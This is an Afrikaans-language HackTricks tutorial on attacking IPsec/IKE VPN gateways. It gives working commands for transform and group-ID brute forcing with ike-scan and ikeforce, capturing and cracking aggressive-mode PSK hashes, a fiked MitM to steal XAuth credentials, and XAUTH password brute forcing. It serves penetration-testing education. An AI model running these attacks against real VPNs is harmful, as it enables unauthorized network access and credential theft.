hacktricks/src/network-services-pentesting/ipsec-ike-vpn-pentesting.md

# 500/udp - Pentesting IPsec/IKE VPN

{{#include ../banners/hacktricks-training.md}}

## Basiese Inligting

**IPsec** is wyd erken as die hooftegnologie vir die beveiliging van kommunikasie tussen netwerke (LAN-to-LAN) en van afstandgebruikers na die netwerkpoort (afstands toegang), wat dien as die ruggraat vir ondernemings VPN-oplossings.

Die totstandkoming van 'n **veiligheidsassosiasie (SA)** tussen twee punte word bestuur deur **IKE**, wat onder die vaandel van ISAKMP werk, 'n protokol wat ontwerp is vir die verifikasie en sleuteluitruiling. Hierdie proses ontvou in verskeie fases:

- **Fase 1:** 'n Veilige kanaal word geskep tussen twee eindpunte. Dit word bereik deur die gebruik van 'n Pre-Shared Key (PSK) of sertifikate, wat of hoofmodus gebruik, wat drie pare boodskappe behels, of **aggressiewe modus**.
- **Fase 1.5:** Alhoewel nie verpligtend nie, verifieer hierdie fase, bekend as die Uitgebreide Verifikasiefase, die identiteit van die gebruiker wat probeer om te verbind deur 'n gebruikersnaam en wagwoord te vereis.
- **Fase 2:** Hierdie fase is toegewy aan die onderhandeling van die parameters vir die beveiliging van data met **ESP** en **AH**. Dit stel die gebruik van algoritmes wat verskil van dié in Fase 1 in staat om **Perfect Forward Secrecy (PFS)** te verseker, wat die sekuriteit verbeter.

**Standaard poort:** 500/udp

## **Ontdek** die diens met nmap
```
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **Vind 'n geldige transformasie**

Die IPSec-konfigurasie kan slegs voorberei word om een of 'n paar transformasies te aanvaar. 'n Transformasie is 'n kombinasie van waardes. **Elke transformasie** bevat 'n aantal eienskappe soos DES of 3DES as die **versleuteling algoritme**, SHA of MD5 as die **integriteit algoritme**, 'n vooraf gedeelde sleutel as die **authentikasie tipe**, Diffie-Hellman 1 of 2 as die sleutel **verspreiding algoritme** en 28800 sekondes as die **leeftyd**.

Dan is die eerste ding wat jy moet doen om **'n geldige transformasie te vind**, sodat die bediener met jou kan praat. Om dit te doen, kan jy die hulpmiddel **ike-scan** gebruik. Standaard werk Ike-scan in hoofmodus en stuur 'n pakket na die poort met 'n ISAKMP-kop en 'n enkele voorstel met **agt transformasies daarin**.

Afhangende van die antwoord kan jy 'n paar inligting oor die eindpunt verkry:
```
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
Soos wat jy in die vorige antwoord kan sien, is daar 'n veld genaamd **AUTH** met die waarde **PSK**. Dit beteken dat die vpn geconfigureer is met 'n vooraf gedeelde sleutel (en dit is regtig goed vir 'n pentester).\
**Die waarde van die laaste lyn is ook baie belangrik:**

- _0 teruggekeer handshake; 0 teruggekeer notify:_ Dit beteken die teiken is **nie 'n IPsec-gateway nie**.
- _**1 teruggekeer handshake; 0 teruggekeer notify:**_ Dit beteken die **teiken is geconfigureer vir IPsec en is bereid om IKE-onderhandeling te voer, en een of meer van die transformasies wat jy voorgestel het, is aanvaarbaar** (n geldige transformasie sal in die uitvoer gewys word).
- _0 teruggekeer handshake; 1 teruggekeer notify:_ VPN-gateways reageer met 'n notify-boodskap wanneer **geen van die transformasies aanvaarbaar is nie** (alhoewel sommige gateways nie doen nie, in welke geval verdere analise en 'n hersiene voorstel probeer moet word).

Dan, in hierdie geval het ons reeds 'n geldige transformasie, maar as jy in die 3de geval is, moet jy **'n bietjie brute-force om 'n geldige transformasie te vind:**

Eerstens moet jy al die moontlike transformasies skep:
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
En dan brute-force elkeen met ike-scan (dit kan 'n paar minute neem):
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
As die brute-force nie gewerk het nie, dalk reageer die bediener sonder handdrukke selfs op geldige transformasies. Dan kan jy dieselfde brute-force probeer, maar met aggressiewe modus:
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
Hopelik **'n geldige transformasie word teruggegee**.\
Jy kan die **dieselfde aanval** probeer met [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
Jy kan ook probeer om transformasies te brute force met [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
![](<../images/image (617).png>)

In **DH Groep: 14 = 2048-bit MODP** en **15 = 3072-bit**\
**2 = HMAC-SHA = SHA1 (in hierdie geval). Die `--trans` formaat is $Enc,$Hash,$Auth,$DH**

Cisco dui aan om DH groepe 1 en 2 te vermy omdat hulle nie sterk genoeg is nie. Kenner glo dat **lande met baie hulpbronne maklik die versleuteling** van data wat hierdie swak groepe gebruik, kan breek. Dit word gedoen deur 'n spesiale metode te gebruik wat hulle voorberei om die kodes vinnig te kraak. Alhoewel dit baie geld kos om hierdie metode op te stel, laat dit hierdie magtige lande toe om die versleutelde data in werklike tyd te lees as dit 'n groep gebruik wat nie sterk is nie (soos 1,024-bit of kleiner).

### Bediener vingerafdruk

Dan kan jy ike-scan gebruik om te probeer **ontdek wie die verskaffer** van die toestel is. Die hulpmiddel stuur 'n aanvanklike voorstel en stop om te herhaal. Dan sal dit die **tyd** verskil **tussen** die ontvangde **boodskappe** van die bediener en die ooreenstemmende reaksiepatroon analiseer, die pentester kan suksesvol die VPN-gateway verskaffer vingerafdruk. Boonop sal sommige VPN-bedieners die opsionele **Verskaffer ID (VID) payload** met IKE gebruik.

**Specifiseer die geldige transformasie indien nodig** (gebruik --trans)

As IKE ontdek wie die verskaffer is, sal dit dit druk:
```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
```
Dit kan ook bereik word met die nmap-skrip _**ike-version**_

## Vind die korrekte ID (groepsnaam)

Om toegelaat te word om die hash te vang, benodig jy 'n geldige transformasie wat Aggressive mode ondersteun en die korrekte ID (groepsnaam). Jy sal waarskynlik nie die geldige groepsnaam weet nie, so jy sal dit moet brute-force.\
Om dit te doen, beveel ek 2 metodes aan:

### Bruteforcing ID met ike-scan

Eerstens, probeer om 'n versoek met 'n valse ID te maak om die hash te versamel ("-P"):
```bash
ike-scan -P -M -A -n fakeID <IP>
```
As **geen hash teruggestuur word nie**, sal hierdie metode van brute forcing waarskynlik werk. **As 'n paar hash teruggestuur word, beteken dit dat 'n vals hash teruggestuur gaan word vir 'n vals ID, so hierdie metode sal nie betroubaar wees** om die ID te brute-force nie. Byvoorbeeld, 'n vals hash kan teruggestuur word (dit gebeur in moderne weergawes):

![](<../images/image (917).png>)

Maar as, soos ek gesê het, geen hash teruggestuur word nie, dan moet jy probeer om algemene groepsname te brute-force met ike-scan.

Hierdie skrip **sal probeer om moontlike ID's te brute-force** en sal die ID's terugstuur waar 'n geldige handdruk teruggestuur word (dit sal 'n geldige groepsnaam wees).

As jy 'n spesifieke transformasie ontdek het, voeg dit by die ike-scan opdrag. En as jy verskeie transformasies ontdek het, voel vry om 'n nuwe lus toe te voeg om hulle almal te probeer (jy moet hulle almal probeer totdat een van hulle behoorlik werk).

Jy kan die [woordeboek van ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) of [die een in seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) van algemene groepsname gebruik om hulle te brute-force:
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
{{#file}}
vpnIDs.txt
{{#endfile}}

### Bruteforcing ID met Iker

[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) gebruik ook **ike-scan** om moontlike groepsname te bruteforce. Dit volg sy eie metode om **'n geldige ID te vind gebaseer op die uitvoer van ike-scan**.

### Bruteforcing ID met ikeforce

[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) is 'n hulpmiddel wat gebruik kan word om **ID's ook te brute force**. Hierdie hulpmiddel sal **verskillende kwesbaarhede probeer benut** wat gebruik kan word om **tussen 'n geldige en 'n nie-geldige ID te onderskei** (kan vals positiewe en vals negatiewe hê, daarom verkies ek om die ike-scan metode te gebruik indien moontlik).

Standaard sal **ikeforce** aan die begin 'n paar ewekansige ID's stuur om die gedrag van die bediener te kontroleer en die taktiek te bepaal om te gebruik.

- Die **eerste metode** is om die groepsname te brute-force deur **inligting te soek** oor **Dead Peer Detection DPD** van Cisco stelsels (hierdie inligting word slegs deur die bediener herhaal as die groepsnaam korrek is).
- Die **tweede metode** wat beskikbaar is, is om **die aantal antwoorde wat na elke poging gestuur word, te kontroleer** omdat soms meer pakkette gestuur word wanneer die korrekte ID gebruik word.
- Die **derde metode** bestaan uit **soek na "INVALID-ID-INFORMATION" in antwoord op 'n onkorrekte ID**.
- Laastens, as die bediener niks na die kontroles herhaal nie, sal **ikeforce** probeer om die bediener te brute force en kyk of wanneer die korrekte ID gestuur word, die bediener met 'n pakkie antwoordgee.\
Dit is duidelik dat die doel van die brute forcing van die ID is om die **PSK** te verkry wanneer jy 'n geldige ID het. Dan, met die **ID** en **PSK** sal jy die XAUTH moet bruteforce (as dit geaktiveer is).

As jy 'n spesifieke transformasie ontdek het, voeg dit by die ikeforce-opdrag. En as jy verskeie transformasies ontdek het, voel vry om 'n nuwe lus toe te voeg om hulle almal te probeer (jy moet hulle almal probeer totdat een van hulle behoorlik werk).
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```

```bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
```
### Sniffing ID

(Van die boek **Network Security Assessment: Know Your Network**): Dit is ook moontlik om geldige gebruikersname te verkry deur die verbinding tussen die VPN-kliënt en -bediener te sniff, aangesien die eerste aggressiewe modus pakket wat die kliënt ID bevat, in die duidelik gestuur word.

![](<../images/image (891).png>)

## Capturing & cracking the hash

Laastens, as jy 'n **geldige transformasie** en die **groepnaam** gevind het en as die **aggressiewe modus toegelaat word**, kan jy baie maklik die kraakbare hash gryp:
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
Die hash sal binne _hash.txt_ gestoor word.

Jy kan **psk-crack**, **john** (met [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) en **hashcat** gebruik om die hash te **crack**:
```bash
psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**

**Aggressive mode IKE** gekombineer met 'n **Pre-Shared Key (PSK)** word algemeen gebruik vir **groepverifikasie** doeleindes. Hierdie metode word versterk deur **XAuth (Extended Authentication)**, wat dien om 'n addisionele laag van **gebruikersverifikasie** in te voer. Sulke verifikasie maak tipies gebruik van dienste soos **Microsoft Active Directory**, **RADIUS**, of soortgelyke stelsels.

Met die oorgang na **IKEv2**, word 'n noemenswaardige verskuiwing waargeneem waar **EAP (Extensible Authentication Protocol)** gebruik word in plaas van **XAuth** vir die doel van die verifikasie van gebruikers. Hierdie verandering beklemtoon 'n evolusie in verifikasiepraktyke binne veilige kommunikasieprotokolle.

### Plaaslike netwerk MitM om akrediteer te vang

So kan jy die data van die aanmelding vang met _fiked_ en kyk of daar enige standaard gebruikersnaam is (Jy moet IKE-verkeer na `fiked` herlei vir sniffing, wat gedoen kan word met die hulp van ARP spoofing, [more info](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked sal as 'n VPN-eindpunt optree en die XAuth akrediteer vang:
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
Ook, gebruik IPSec om 'n MitM-aanval te maak en alle verkeer na poort 500 te blokkeer, as die IPSec-tonnel nie gevestig kan word nie, sal die verkeer dalk in duidelik gestuur word.

### Brute-forcing XAUTH gebruikersnaam en wagwoord met ikeforce

Om die **XAUTH** te brute force (wanneer jy 'n geldige groepnaam **id** en die **psk** ken) kan jy 'n gebruikersnaam of lys van gebruikersname en 'n lys van wagwoorde gebruik:
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
Op hierdie manier sal ikeforce probeer om te verbind met elke kombinasie van gebruikersnaam:wagwoord.

As jy een of verskeie geldige transformasies gevind het, gebruik dit net soos in die vorige stappe.

## Outentisering met 'n IPSEC VPN

In Kali word **VPNC** gebruik om IPsec tonnels op te stel. Die **profiele** moet in die gids `/etc/vpnc/` geleë wees. Jy kan hierdie profiele inisieer met die opdrag _**vpnc**_.

Die volgende opdragte en konfigurasies illustreer die proses om 'n VPN-verbinding met VPNC op te stel:
```bash
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
```
In hierdie opstelling:

- Vervang `[VPN_GATEWAY_IP]` met die werklike IP-adres van die VPN-gateway.
- Vervang `[VPN_CONNECTION_ID]` met die identifiseerder vir die VPN-verbinding.
- Vervang `[VPN_GROUP_SECRET]` met die VPN se groep geheim.
- Vervang `[VPN_USERNAME]` en `[VPN_PASSWORD]` met die VPN-authentikasie akkrediteer.
- `[PID]` simboliseer die proses ID wat toegeken sal word wanneer `vpnc` geaktiveer word.

Verseker dat werklike, veilige waardes gebruik word om die plekhouers te vervang wanneer die VPN gekonfigureer word.

## Verwysingsmateriaal

- [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf)
- [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
- [Scanning a VPN Implementation](http://www.radarhack.com/dir/papers/Scanning_ike_with_ikescan.pdf)
- Network Security Assessment 3rd Edition

## Shodan

- `port:500 IKE`

{{#include ../banners/hacktricks-training.md}}